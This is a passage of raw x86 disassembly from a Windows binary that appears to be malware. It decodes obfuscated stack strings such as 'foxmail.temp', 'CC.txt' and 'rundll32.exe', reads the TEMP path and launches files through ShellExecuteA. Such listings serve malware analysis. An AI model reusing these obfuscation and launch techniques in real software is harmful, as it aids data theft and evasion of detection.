call fcn.0043b794
pop ecx
lea ecx, [ebp - 0xcec]
call fcn.00411ce9
lea ecx, [ebp - 0xd04]
call fcn.00411ce9
lea ecx, [ebp - 0xd1c]
mov byte [ebp - 4], 0x5e
call fcn.00411ce9
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xd34]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x64
call fcn.0040bed4
lea ecx, [ebp - 0xd34]
call fcn.00411ce9
jmp 0x42e7ec
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 0x5d
call fcn.0040b65d
jmp 0x42e689
lea ecx, [ebp - 0x424]
call fcn.0040b41b
lea ecx, [ebp - 0x2fc]
call fcn.0040b41b
lea ecx, [ebp - 0x3b4]
call fcn.0040b41b
mov ecx, 0x488a0c
mov byte [ebp - 4], 0x66
call fcn.00411bb7
mov ecx, 0x488ab4
mov esi, eax
call fcn.00411bb7
mov edi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov edx, edi
mov dword [ebp - 0x27c], eax
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x27c], eax
lea ecx, [ebp - 0x854]
push 0
lea eax, [ebp - 0x27c]
push eax
call fcn.004130e7
lea ecx, [ebp - 0x854]
mov byte [ebp - 4], 0x67
call fcn.0040b99e
lea ecx, [ebp - 0x854]
mov byte [ebp - 4], 0x66
mov bl, al
call fcn.0040aa13
test bl, bl
je 0x42e92d
push 0
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x86c]
call fcn.004130e7
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 0x68
call fcn.00414960
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 0x66
mov bl, al
call fcn.0040aa13
test bl, bl
je 0x42e92d
mov ecx, dword [0x48b988]
mov edx, esi
call fcn.0043b7bd
mov ebx, dword [ebp - 0x27c]
mov edx, edi
mov ecx, esi
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push ebx
call fcn.0043b794
pop ecx
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x884]
call fcn.00411d34
lea ecx, [ebp - 0x884]
mov byte [ebp - 4], 0x69
call fcn.0040bed4
lea ecx, [ebp - 0x884]
call fcn.00411ce9
push dword [ebp - 0x27c]
call fcn.0043d636
pop ecx
push 0x48
pop ebx
mov dword [ebp - 4], ebx
mov ecx, 0x488a6c
mov byte [ebp - 4], 0x6b
call fcn.00411bb7
mov edi, eax
call fcn.0043295d
mov edx, 0x477d7c
mov ecx, eax
call fcn.004324c4
mov edx, edi
mov dword [ebp - 0x2d4], eax
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x2d4], eax
lea ecx, [ebp - 0x89c]
push 0
lea eax, [ebp - 0x2d4]
push eax
call fcn.004130e7
lea ecx, [ebp - 0x89c]
mov byte [ebp - 4], 0x6c
call fcn.0040b99e
lea ecx, [ebp - 0x89c]
mov byte [ebp - 0x11], al
mov byte [ebp - 4], 0x6b
call fcn.0040aa13
cmp byte [ebp - 0x11], 0
je 0x42ebd9
mov ecx, dword [0x48b988]
mov edx, edi
call fcn.0043b7bd
push 0
lea eax, [ebp - 0x2d4]
push eax
lea ecx, [ebp - 0x8b4]
call fcn.004130e7
lea eax, [ebp - 0x8b4]
mov byte [ebp - 4], 0x6d
push eax
lea ecx, [ebp - 0x3cc]
call fcn.0040b613
lea ecx, [ebp - 0x8b4]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3cc]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x2f4]
call fcn.0040b409
lea eax, [ebp - 0x3cc]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x454]
call fcn.0040b427
pop ecx
pop ecx
mov byte [ebp - 4], 0x71
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x2f4]
call fcn.0040b3f8
test al, al
je 0x42ebb8
lea ecx, [ebp - 0x2f4]
call fcn.0040b3ce
mov esi, eax
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xd4c]
push ecx
mov ecx, eax
call fcn.0040a781
push 0
push eax
lea ecx, [ebp - 0x8cc]
mov byte [ebp - 4], 0x72
call fcn.00413090
lea ecx, [ebp - 0x8cc]
mov byte [ebp - 4], 0x73
call fcn.00414960
lea ecx, [ebp - 0x8cc]
mov byte [ebp - 0x11], al
call fcn.0040aa13
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 4], 0x71
call fcn.00411ce9
cmp byte [ebp - 0x11], 0
je 0x42eb97
mov ecx, 0x488a9c
call fcn.00411bb7
mov edx, eax
mov ecx, edi
call fcn.004324c4
mov ecx, esi
mov dword [ebp - 0x20], eax
call fcn.0040afbc
lea ecx, [ebp - 0xd94]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x74
call fcn.00411bb7
mov ecx, esi
mov dword [ebp - 0x1c], eax
call fcn.0040afbc
lea ecx, [ebp - 0xd7c]
push ecx
mov ecx, eax
call fcn.0040a97e
lea ecx, [ebp - 0xd64]
mov byte [ebp - 4], 0x75
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x76
call fcn.00411bb7
mov ecx, dword [ebp - 0x20]
mov edx, eax
call fcn.004324c4
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0xd64]
call fcn.00411ce9
lea ecx, [ebp - 0xd7c]
call fcn.0040aa13
lea ecx, [ebp - 0xd94]
mov byte [ebp - 4], 0x71
call fcn.00411ce9
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xdac]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x77
call fcn.0040bed4
lea ecx, [ebp - 0xdac]
mov byte [ebp - 4], 0x71
call fcn.00411ce9
push dword [ebp - 0x20]
call fcn.0043d636
pop ecx
lea ecx, [ebp - 0x2f4]
call fcn.0040b65d
jmp 0x42ea30
lea ecx, [ebp - 0x454]
call fcn.0040b41b
lea ecx, [ebp - 0x2f4]
call fcn.0040b41b
lea ecx, [ebp - 0x3cc]
call fcn.0040b41b
push dword [ebp - 0x2d4]
call fcn.0043d636
pop ecx
jmp 0x42ebf0
push 0x47bc14
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
call fcn.00422a2b
lea ecx, [ebp - 0xdc4]
push ecx
mov ecx, eax
call fcn.00422ab3
mov ecx, eax
mov byte [ebp - 4], 0x79
call fcn.00411bb7
lea ecx, [ebp - 0x338]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.00430780
lea ecx, [ebp - 0xdc4]
mov byte [ebp - 4], bl
call fcn.00411ce9
mov ecx, dword [0x48b988]
call fcn.0043b7d7
push 0x43
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc7], 0x5d
call fcn.004197ad
push 0x43
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc6], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc5], al
call fcn.004197ad
push 0x74
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc4], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc3], al
call fcn.004197ad
push 0x74
lea ecx, [ebp - 0xc7]
mov byte [ebp - 0xc2], al
call fcn.004197ad
mov byte [ebp - 0xc1], al
xor esi, esi
mov byte [ebp - 0xc0], 0
push esi
lea ecx, [ebp - 0xc6]
call fcn.00410f8d
lea ecx, [ebp - 0xc7]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xc6]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 6
jb 0x42ecca
push 6
lea ecx, [ebp - 0xc6]
call fcn.00410f8d
lea ecx, [ebp - 0xc6]
mov byte [eax], 0
call fcn.00410f8a
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x8e4]
call fcn.00411d34
lea ecx, [ebp - 0x8e4]
mov byte [ebp - 4], 0x7a
call fcn.0040bed4
lea ecx, [ebp - 0x8e4]
mov byte [ebp - 4], 0x48
call fcn.00411ce9
push 0x66
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x14a], 0x21
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x149], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x148], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x147], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x146], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x145], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x144], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x143], al
call fcn.004197ad
push 0x74
pop edi
push edi
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x142], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x141], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x140], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x13f], al
call fcn.004197ad
mov byte [ebp - 0x13e], al
xor esi, esi
mov byte [ebp - 0x13d], 0
push esi
lea ecx, [ebp - 0x149]
call fcn.00410f8d
lea ecx, [ebp - 0x14a]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x149]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xc
jb 0x42ee46
push 0xc
lea ecx, [ebp - 0x149]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x149]
mov byte [eax], bl
call fcn.00410f8a
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x8fc]
call fcn.00411d34
lea ecx, [ebp - 0x8fc]
mov byte [ebp - 4], 0x7b
call fcn.0040bed4
lea ecx, [ebp - 0x8fc]
call fcn.00411ce9
mov ecx, 0x489050
mov byte [ebp - 4], 0x7c
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x398], eax
lea ecx, [ebp - 0x914]
push ebx
lea eax, [ebp - 0x398]
push eax
call fcn.004130e7
lea eax, [ebp - 0x914]
mov byte [ebp - 4], 0x7d
push eax
lea ecx, [ebp - 0x3a4]
call fcn.0040b384
lea ecx, [ebp - 0x914]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3a4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x2ec]
call fcn.0040b409
lea eax, [ebp - 0x3a4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x44c]
call fcn.0040b427
pop ecx
pop ecx
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.0040b3f8
test al, al
je 0x42efdf
lea ecx, [ebp - 0x2ec]
call fcn.0040b3ce
mov esi, eax
mov byte [ebp - 4], 0x82
mov ecx, esi
call fcn.0040afbc
mov ecx, eax
call fcn.00414960
test al, al
je 0x42efc8
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xddc]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x83
call fcn.0040bed4
lea ecx, [ebp - 0xddc]
call fcn.00411ce9
jmp 0x42efc8
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 4], 0x81
call fcn.0040b3d1
jmp 0x42ef57
lea ecx, [ebp - 0x44c]
call fcn.0040b41b
lea ecx, [ebp - 0x2ec]
call fcn.0040b41b
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x7c
call fcn.0040b41b
mov ecx, 0x488b14
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x92c]
push ebx
lea eax, [ebp - 0x39c]
push eax
call fcn.004130e7
lea eax, [ebp - 0x92c]
mov byte [ebp - 4], 0x85
push eax
lea ecx, [ebp - 0x3ac]
call fcn.0040b384
lea ecx, [ebp - 0x92c]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3ac]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x2e4]
call fcn.0040b409
lea eax, [ebp - 0x3ac]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x43c]
call fcn.0040b427
pop ecx
pop ecx
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.0040b3f8
test al, al
je 0x42f116
lea ecx, [ebp - 0x2e4]
call fcn.0040b3ce
mov esi, eax
mov byte [ebp - 4], 0x8a
mov ecx, esi
call fcn.0040afbc
mov ecx, eax
call fcn.00414960
test al, al
je 0x42f0ff
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xdf4]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x8b
call fcn.0040bed4
lea ecx, [ebp - 0xdf4]
call fcn.00411ce9
jmp 0x42f0ff
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 4], 0x89
call fcn.0040b3d1
jmp 0x42f08e
lea ecx, [ebp - 0x43c]
call fcn.0040b41b
lea ecx, [ebp - 0x2e4]
call fcn.0040b41b
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0x7c
call fcn.0040b41b
mov ecx, 0x489050
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x944]
call fcn.00411d34
lea ecx, [ebp - 0x944]
mov byte [ebp - 4], 0x8d
call fcn.0042973c
lea ecx, [ebp - 0x944]
mov byte [ebp - 4], 0x7c
call fcn.00411ce9
mov ecx, 0x489098
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x95c]
call fcn.00411d34
lea ecx, [ebp - 0x95c]
mov byte [ebp - 4], 0x8e
call fcn.0040bed4
lea ecx, [ebp - 0x95c]
call fcn.00411ce9
jmp 0x42f1cc
mov dword [ebp - 4], 0x48
lea ecx, [ebp - 0x40]
push 0x488a54
mov byte [ebp - 4], 0x90
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42fa12
push 0x6f
lea ecx, [ebp - 0x71]
mov byte [ebp - 0x71], 0x6e
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x71]
mov byte [ebp - 0x70], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x71]
mov byte [ebp - 0x6f], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x71]
mov byte [ebp - 0x6e], al
call fcn.004197ad
mov byte [ebp - 0x6d], al
mov esi, ebx
mov byte [ebp - 0x6c], bl
lea ecx, [ebp - 0x70]
cmp esi, 4
jae 0x42f25e
push esi
call fcn.00410f8d
lea ecx, [ebp - 0x71]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
inc esi
mov byte [eax], cl
jmp 0x42f230
push 4
call fcn.00410f8d
lea ecx, [ebp - 0x70]
mov byte [eax], bl
call fcn.00410f8a
push 0x72
lea ecx, [ebp - 0x166]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x166], 0x5e
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x165], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x164], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x163], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x162], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x161], al
call fcn.004197ad
push 0x33
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x160], al
call fcn.004197ad
push 0x32
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x15f], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x15e], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x15d], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x15c], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x166]
mov byte [ebp - 0x15b], al
call fcn.004197ad
mov byte [ebp - 0x15a], al
mov esi, ebx
mov byte [ebp - 0x159], bl
lea ecx, [ebp - 0x165]
cmp esi, 0xc
jae 0x42f39c
push esi
call fcn.00410f8d
lea ecx, [ebp - 0x166]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x165]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
inc esi
mov byte [eax], cl
jmp 0x42f365
push 0xc
call fcn.00410f8d
lea ecx, [ebp - 0x165]
mov byte [eax], bl
call fcn.00410f8a
mov dword [ebp - 0x278], eax
mov esi, ebx
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
cmp esi, eax
jae 0x42fa12
push 0x54
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x6b], 0xf
call fcn.004197ad
push 0x45
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x6a], al
call fcn.004197ad
push 0x4d
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x69], al
call fcn.004197ad
push 0x50
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x68], al
call fcn.004197ad
mov byte [ebp - 0x67], al
mov eax, ebx
mov byte [ebp - 0x66], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x6a]
cmp eax, 4
jae 0x42f44a
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x6b]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x6a]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f414
push 4
call fcn.00410f8d
lea ecx, [ebp - 0x6a]
mov byte [eax], bl
call fcn.00410f8a
push 0x104
lea ecx, [ebp - 0x1250]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
mov byte [ebp - 0x43], 7
cmp ecx, eax
lea ecx, [ebp - 0x1250]
push 0x5c
sbb eax, eax
and eax, ecx
lea ecx, [ebp - 0x43]
mov dword [ebp - 0x30], eax
call fcn.004197ad
mov byte [ebp - 0x42], al
mov eax, ebx
mov byte [ebp - 0x41], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x42]
cmp eax, 1
jae 0x42f4ce
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x43]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x42]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f498
push 1
call fcn.00410f8d
lea ecx, [ebp - 0x42]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x30]
mov edx, eax
call fcn.004324c4
push 0xa
pop edx
lea ecx, [ebp - 0xe0c]
mov dword [ebp - 0x30], eax
call fcn.004328ec
mov ecx, eax
mov byte [ebp - 4], 0x91
call fcn.00411bb7
mov ecx, dword [ebp - 0x30]
mov edx, eax
call fcn.004324c4
lea ecx, [ebp - 0xe0c]
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 0x90
call fcn.00411ce9
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push edi
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x46], 0x22
call fcn.004197ad
mov byte [ebp - 0x45], al
mov eax, ebx
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x45]
cmp eax, 1
jae 0x42f587
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x46]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x45]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f551
push 1
call fcn.00410f8d
lea ecx, [ebp - 0x45]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00430146
push 0x2e
cmp eax, 1
jne 0x42f65d
lea ecx, [ebp - 0xa1]
mov byte [ebp - 0xa1], 0x34
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0xa1]
mov byte [ebp - 0xa0], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0xa1]
mov byte [ebp - 0x9f], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0xa1]
mov byte [ebp - 0x9e], al
call fcn.004197ad
mov byte [ebp - 0x9d], al
mov eax, ebx
mov byte [ebp - 0x9c], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0xa0]
cmp eax, 4
jae 0x42f64e
push eax
call fcn.00410f8d
lea ecx, [ebp - 0xa1]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f60f
push 4
call fcn.00410f8d
lea ecx, [ebp - 0xa0]
jmp 0x42f6db
lea ecx, [ebp - 0x65]
mov byte [ebp - 0x65], 0x4d
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x65]
mov byte [ebp - 0x64], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x65]
mov byte [ebp - 0x63], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x65]
mov byte [ebp - 0x62], al
call fcn.004197ad
mov byte [ebp - 0x61], al
mov eax, ebx
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x64]
cmp eax, 4
jae 0x42f6d1
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x65]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x64]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f69b
push 4
call fcn.00410f8d
lea ecx, [ebp - 0x64]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x30]
mov edx, eax
call fcn.004324c4
mov ecx, 0x48b98c
mov dword [ebp - 0x30], eax
call fcn.00428e4a
test eax, eax
je 0x42f710
push esi
mov ecx, 0x48b98c
call fcn.00410f99
cmp dword [eax], ebx
je 0x42f9fb
push dword [ebp - 0x30]
lea ecx, [ebp - 0x98c]
call fcn.00411d34
push 0x488a54
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x92
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x75
lea ecx, [ebp - 0x49]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x49], 0x1f
call fcn.004197ad
mov byte [ebp - 0x48], al
mov eax, ebx
mov byte [ebp - 0x47], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x48]
cmp eax, 1
jae 0x42f789
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x49]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f753
push 1
call fcn.00410f8d
lea ecx, [ebp - 0x48]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xe24]
push ecx
mov ecx, eax
call fcn.00422ab3
mov ecx, eax
mov byte [ebp - 4], 0x93
call fcn.00411bb7
push eax
lea ecx, [ebp - 0x974]
call fcn.00411d34
lea edx, [ebp - 0x98c]
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x974]
call fcn.0043130d
lea ecx, [ebp - 0x974]
call fcn.00411ce9
lea ecx, [ebp - 0xe24]
call fcn.00411ce9
lea ecx, [ebp - 0x98c]
mov byte [ebp - 4], 0x90
call fcn.00411ce9
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x9a4]
call fcn.004130e7
lea ecx, [ebp - 0x9a4]
mov byte [ebp - 4], 0x95
call fcn.0040b99e
lea ecx, [ebp - 0x9a4]
mov byte [ebp - 0x11], al
mov byte [ebp - 4], 0x90
call fcn.0040aa13
cmp byte [ebp - 0x11], 0
je 0x42f9fb
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push edi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x4c], 0x5c
call fcn.004197ad
mov byte [ebp - 0x4b], al
mov eax, ebx
mov byte [ebp - 0x4a], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x4b]
cmp eax, 1
jae 0x42f8a3
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x4c]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4b]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f86d
push 1
call fcn.00410f8d
lea ecx, [ebp - 0x4b]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00430146
cmp eax, 1
jne 0x42f9ed
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x488f60
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42f9dd
push 0x2c
lea ecx, [ebp - 0x4f]
mov byte [ebp - 0x4f], 0x19
call fcn.004197ad
mov byte [ebp - 0x4e], al
mov eax, ebx
mov byte [ebp - 0x4d], bl
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x4e]
cmp eax, 1
jae 0x42f94c
push eax
call fcn.00410f8d
lea ecx, [ebp - 0x4f]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4e]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x42f916
push 1
call fcn.00410f8d
lea ecx, [ebp - 0x4e]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x30]
mov edx, eax
call fcn.004324c4
push 0x488a54
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x488f60
mov ecx, eax
call fcn.0042fd3a
lea ecx, [ebp - 0xe3c]
push ecx
mov ecx, eax
call fcn.00422ab3
mov ecx, eax
mov byte [ebp - 4], 0x96
call fcn.00411bb7
mov ecx, dword [ebp - 0x30]
mov edx, eax
call fcn.004324c4
lea ecx, [ebp - 0xe3c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x90
call fcn.00411ce9
push ebx
push ebx
push dword [ebp - 0x20]
push dword [ebp - 0x278]
push dword [ebp - 0x28]
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 0x20]
call fcn.0043d636
pop ecx
jmp 0x42f9fb
push ebx
push ebx
push dword [ebp - 0x30]
push dword [ebp - 0x278]
push dword [ebp - 0x28]
jmp 0x42f9f4
push ebx
push ebx
push ebx
push dword [ebp - 0x30]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 0x30]
call fcn.0043d636
pop ecx
inc esi
jmp 0x42f3b8
mov dword [ebp - 4], 0x48
lea ecx, [ebp - 0x5b]
mov byte [ebp - 4], 0x98
push 0x72
mov byte [ebp - 0x5b], 0x1e
call fcn.004197ad
push 0x6d
